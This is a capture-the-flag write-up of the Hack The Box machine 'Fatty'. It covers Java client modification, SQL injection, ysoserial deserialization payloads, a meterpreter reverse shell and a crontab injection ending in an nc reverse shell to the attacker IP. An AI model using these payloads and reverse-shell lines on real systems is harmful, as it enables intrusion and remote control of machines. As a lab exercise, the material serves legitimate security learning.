Hack The Box - Fatty
Box enumeration
- Ports opened:
nmap -sC -sV -A -T5 -Pn -oN nmap 10.10.10.174
Nmap 7.80 scan initiated Sat Feb 8 20:06:13 2020 as: nmap -sC -sV -A -T5 -Pn -oN nmap 10.10.10.174
Warning: 10.10.10.174 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.174
Host is up (0.050s latency).
Not shown: 990 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 ftp ftp 15426727 Oct 30 12:10 fatty-client.jar
| -rw-r--r-- 1 ftp ftp 526 Oct 30 12:10 note.txt
| -rw-r--r-- 1 ftp ftp 426 Oct 30 12:10 note2.txt
|_-rw-r--r-- 1 ftp ftp 194 Oct 30 12:10 note3.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.26
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:c5:61:ba:bd:a3:e2:26:58:20:45:69:a7:58:35:08 (RSA)
|_ 256 4a:a8:aa:c6:5f:10:f0:71:8a:59:c5:3e:5f:b9:32:f7 (ED25519)
280/tcp filtered http-mgmt
667/tcp filtered disclose
1086/tcp filtered cplscrambler-lg
1166/tcp filtered qsm-remote
3784/tcp filtered bfd-control
8031/tcp filtered unknown
8994/tcp filtered unknown
9998/tcp filtered distinct32
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 8 20:06:33 2020 -- 1 IP address (1 host up) scanned in 19.67 seconds
- FTP has anonymous access:
ftp 10.10.10.174
Connected to 10.10.10.174.
220 qtc's development server
Name (10.10.10.174:root): ftp
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 15426727 Oct 30 12:10 fatty-client.jar
-rw-r--r-- 1 ftp ftp 526 Oct 30 12:10 note.txt
-rw-r--r-- 1 ftp ftp 426 Oct 30 12:10 note2.txt
-rw-r--r-- 1 ftp ftp 194 Oct 30 12:10 note3.txt
226 Directory send OK.
ftp>
- From notes we can get information about high ports that are used for
fatty-client.jar
.
Modifying the Java client
-
Edit
bean.xml
and replace port 8080 with one from high ports discovered. -
To fix issue with signature changed remove the signature files completely:
- 1.RSA
- 1.SF
-
Add
server.fatty.htb
to/etc/hosts
and you should be able to connect withqtc
credentials. -
Client is very limited and only shows some mail, notes, and few configuration files. All of them in some chrooted environment with no option to get to upper folders.
-
After examining client code it’s obvious that all mail, file, etc menu option uses predefined currentFolder. We may either modify any existing (simple) or add custom menu to get upper folder content:
public ClientGuiTest() {
...
// Create a new menu
final JMenuItem upperFolder = new JMenuItem("upperFolder");
upperFolder.setEnabled(false);
fileBrowser.add(upperFolder);
...
btnNewButton.addActionListener(new ActionListener() {
...
if (ClientGuiTest.this.conn.login(ClientGuiTest.this.user)) {
...
// Enable a new menu
upperFolder.setEnabled(true);
....
}
});
...
// Listener for new menu
upperFolder.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
String response = "";
ClientGuiTest.this.currentFolder = "..";
try {
response = ClientGuiTest.this.invoker.showFiles(ClientGuiTest.this.currentFolder);
} catch (MessageBuildException | htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during upperFolder building/parsing.", "Error", 0);
} catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText(response);
}
});
- That allowed us to discover following content:
logs
tar
start.sh
fatty-server.jar
files
- We can read text files with client, but any binary file will make it die. Let’s modify client once again to save all files to
/tmp/
instead of displaying it:
Invoker.java
:
public byte[] open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
...
byte[] response;
...
}
ClientGuiTest.java
:
openFileButton.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
if (ClientGuiTest.this.currentFolder == null) {
JOptionPane.showMessageDialog(controlPanel, "No folder selected! List a directory first!", "Error", 0);
return;
}
byte[] response = new byte[0];
String fileName = ClientGuiTest.this.fileTextField.getText();
fileName.replaceAll("[^a-zA-Z0-9.]", "");
try {
response = ClientGuiTest.this.invoker.open(ClientGuiTest.this.currentFolder, fileName);
OutputStream outputStream = new FileOutputStream("/tmp/" + fileName);
outputStream.write(response);
outputStream.close();
} catch (MessageBuildException | htb.fatty.shared.message.MessageParseException e1) {
JOptionPane.showMessageDialog(controlPanel, "Failure during message building/parsing.", "Error", 0);
} catch (IOException e2) {
JOptionPane.showMessageDialog(controlPanel, "Unable to contact the server. If this problem remains, please close and reopen the client.", "Error", 0);
}
textPane.setText("Wrote file content to /tmp/" + fileName);
}
});
- Downloaded
fatty-server.jar
.
fatty-server
- In
FattyDBSession.java
we may notice insecure SQL execution:
public User checkLogin(User user) throws FattyDbSession.LoginException {
Statement stmt = null;
ResultSet rs = null;
User newUser = null;
try {
stmt = this.conn.createStatement();
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
-
We have control on supplied username we can trigger SQLi to escalate
qtc
to have admin privileges. -
However this will fail with
bad credentials
error. Let’s review Java client again. -
In
User.java
we found that username is not plaintext:
String hashString = this.username + password + "clarabibimakeseverythingsecure";
-
Is it a hash of username and a password. The hash won’t match on a server because we are sending SQLi string instead of username.
-
Update
User.java
to hardcodedqtc
in username and try again:
String hashString = "qtc" + password + "clarabibimakeseverythingsecure";
-
And we are admin now!
-
Back to client/server code and one may notice that
User
class is Serializable and uses that during password change:
public static String changePW(ArrayList<String> args, User user) {
logger.logInfo("[+] Method 'changePW' was called.");
int methodID = 7;
if (!user.getRole().isAllowed(methodID)) {
logger.logError("[+] Access denied. Method with id '" + methodID + "' was called by user '" + user.getUsername() + "' with role '" + user.getRoleName() + "'.");
return "Error: Method 'changePW' is not allowed for this user account";
} else {
String response = "";
String b64User = (String)args.get(0);
byte[] serializedUser = Base64.getDecoder().decode(b64User.getBytes());
ByteArrayInputStream bIn = new ByteArrayInputStream(serializedUser);
try {
ObjectInputStream oIn = new ObjectInputStream(bIn);
User var8 = (User)oIn.readObject();
} catch (Exception var9) {
var9.printStackTrace();
response = response + "Error: Failure while recovering the User object.";
return response;
}
response = response + "Info: Your call was successful, but the method is not fully implemented yet.";
return response;
}
}
- The same method is not implemented on client and we need to do that ourself. Prepare payloads using yoserial tool:
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'wget http://10.10.14.51/rshell' | base64 -w 0
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'chmod +x ./rshell' | base64 -w 0
$ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'nohup ./rshell &' | base64 -w 0
- Update Java client with generated payloads in order:
public String changePW(String username, String newPassword) throws MessageParseException, MessageBuildException, IOException {
String[] payloads = new String[3];
payloads[0] = "rO0ABXNyAC5qYXZh...AAAAAAAAAdwgAAAAQAAAAAHh4";
payloads[1] = "rO0ABXNyAC5qYXZ...AAAAAAAAB3CAAAABAAAAAAeHg=";
payloads[2] = "rO0ABXNyAC5qYXZ...9AAAAAAAAAdwgAAAAQAAAAAHh4";
for (String s: payloads) {
this.action = new ActionMessage(this.sessionID, "changePW");
this.action.addArgument(s);
sendAndRecv();
}
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
return this.response.getContentAsString();
}
Foothold
- Java client has SQLi that allows to login with admin privileges using these credentials:
username: qtc' UNION SELECT id, username, email, password, 'admin' FROM users ORDER BY role ASC LIMIT 1#
password: clarabibi
- Generate payload:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.51 LPORT=4444 -f elf -o rshell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: rshell
-
Start
multi/handler
listener. -
Start Python web server to deliver
rshell
to the box. -
Trigger password change event in Java GUI and meterpreter session will open:
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.51:4444
[*] Sending stage (3021284 bytes) to 10.10.10.174
[*] Meterpreter session 1 opened (10.10.14.51:4444 -> 10.10.10.174:37982) at 2020-02-10 23:04:41 +0000
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 11
============
Name : eth0
Hardware MAC : 02:42:ac:1c:00:05
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.28.0.5
IPv4 Netmask : 255.255.0.0
meterpreter >
- Setup route for pivoting:
msf5 exploit(multi/handler) > route add 172.28.0.5 255.255.255.255 1
[*] Route added
msf5 exploit(multi/handler) > route add 172.28.0.1 255.255.255.255 1
[*] Route added
- Start
auxiliary/server/socks4a
, inject custom key toauthorized_keys
and SSH into the box:
proxychains ssh -i fatty qtc@172.28.0.5
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.28.0.5:22 ... OK
The authenticity of host '172.28.0.5 (172.28.0.5)' can't be established.
ED25519 key fingerprint is SHA256:NHsveCKmHmSUEgbE9Im/ZbTOTNE3xjsZr6Owadb4QmA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.28.0.5' (ED25519) to the list of known hosts.
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.
You can setup the system with the command: setup-alpine
You may change this message by editing /etc/motd.
55e9ce5d0b6b:~$
Getting user flag
- By default it has 0-permissions:
55e9ce5d0b6b:~$ ls -al
total 24
drwxr-sr-x 1 qtc qtc 4096 Feb 10 23:10 .
drwxr-xr-x 1 root root 4096 Oct 30 11:11 ..
-rw------- 1 qtc qtc 8 Feb 10 23:10 .ash_history
drwx------ 1 qtc qtc 4096 Oct 30 11:11 .ssh
-rwxr-xr-x 1 qtc qtc 250 Feb 10 23:05 rshell
---------- 1 qtc qtc 33 Oct 30 11:10 user.txt
55e9ce5d0b6b:~$
- Change to read, read the flag, and change back (just in case ;):
55e9ce5d0b6b:~$ chmod +r user.txt; cat user.txt; chmod -r user.txt
7fab2c31fc7173a86872db45ae922073
55e9ce5d0b6b:~$
Further enumeration
- On this version of Linux only
pspy32s
worked:
2020/02/10 23:14:02 CMD: UID=1000 PID=339 | ash -c scp -f /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS: ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS: ACCESS | /usr/bin/scp
2020/02/10 23:14:02 FS: OPEN | /etc/passwd
2020/02/10 23:14:02 FS: ACCESS | /etc/passwd
2020/02/10 23:14:02 FS: ACCESS | /etc/passwd
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /etc/passwd
2020/02/10 23:14:02 FS: OPEN | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: ACCESS | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /opt/fatty/tar/logs.tar
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /usr/bin/scp
2020/02/10 23:14:02 FS: CLOSE_NOWRITE | /usr/sbin/sshd
- So something is getting tar file from location where we have right to write. Let’s try to inject some payload in it using this technique:
$ tar cf test.tar -P 'opt/fatty/logs/../root/.ssh/authorized_keys'
$ tar tvf test.tar
tar: Removing leading `opt/fatty/logs/../' from member names
-rw-r----- root/root 563 2020-02-11 01:23 opt/fatty/logs/../root/.ssh/authorized_keys
-
Upload that file on the box and replace
/opt/fatty/tar/logs.tar
with it -
Few tries:
- Failed #1:
$ sudo find opt/
opt/
opt/fatty
opt/fatty/home
opt/fatty/home/qtc
opt/fatty/home/qtc/.ssh
opt/fatty/home/qtc/.ssh/authorized_keys
opt/fatty/logs
opt/fatty/root
opt/fatty/root/.ssh
opt/fatty/root/.ssh/authorized_keys
$ sudo tar cf test.tar --numeric-owner -P 'opt/fatty/logs/../root/.ssh/authorized_keys' 'opt/fatty/logs/../home/qtc/.ssh/authorized_keys'
- Failed #2:
$ sudo tar cf test.tar --numeric-owner -P opt/fatty/logs opt/fatty/logs/../../../home/qtc/.ssh/authorized_keys opt/fatty/logs/../../../root/.ssh/authorized_keys
$ tar tvf test.tar
drwxr-x--- 1000/1000 0 2020-02-11 01:54 opt/fatty/logs/
-rw-r----- 1000/1000 0 2020-02-11 01:53 opt/fatty/logs/error-log.txt
-rw-r----- 1000/1000 0 2020-02-11 01:54 opt/fatty/logs/info-log.txt
tar: Removing leading `opt/fatty/logs/../../../' from member names
-rw-r----- 1000/1000 563 2020-02-11 01:23 opt/fatty/logs/../../../home/qtc/.ssh/authorized_keys
-rw-r----- 0/0 563 2020-02-11 01:23 opt/fatty/logs/../../../root/.ssh/authorized_keys
- Failed #3:
$ sudo tar cf test.tar --numeric-owner -P opt/fatty/logs/error-log.txt/../root/.ssh/authorized_keys opt/fatty/logs/info-log.txt/../home/qtc/.ssh/authorized_keys
Getting root
- Another approach:
- symlinked file logs.tar to /etc/crontab. tar it and let it grab
- Replaced logs.tar with symlink to crafted crontab
- Preparing:
- Create tar file with just symlink pointer:
$ tar tvf logs1.tar
lrwxrwxrwx root/root 0 2020-02-12 18:07 logs.tar -> /etc/crontab
- Have plain-text contained only crontab entries:
$ cat logs2.tar
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.51 6666 >/tmp/f
* * * * * root ping -c 100 10.10.14.51
* * * * * root wget http://10.10.14.51/boobar
- Create a listener on port 6666 with
-k
switch to avoid disconnection during repeating connection:
$ nc -lnvkp 6666
-
Upload both
logs1.tar
andlogs2.tar
files on the docker. -
Replace
/opt/fatty/tar/logs.tar
withlogs1.tar
and watch withpspy32s -f
it reads and closes/opt/fatty/tar/logs.tar
-
Replace
/opt/fatty/tar/logs.tar
withlogs2.tar
and watch withpspy32s -f
it reads and closes/opt/fatty/tar/logs.tar
-
Reverse shell should come up in a couple of minutes:
nc -lnvk 6666
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
Ncat: Connection from 10.10.10.174.
Ncat: Connection from 10.10.10.174:56052.
/bin/sh: 0: can't access tty; job control turned off
cd /root
cat root.txt
ee982fa19b413415391ed4a17b2bd9c7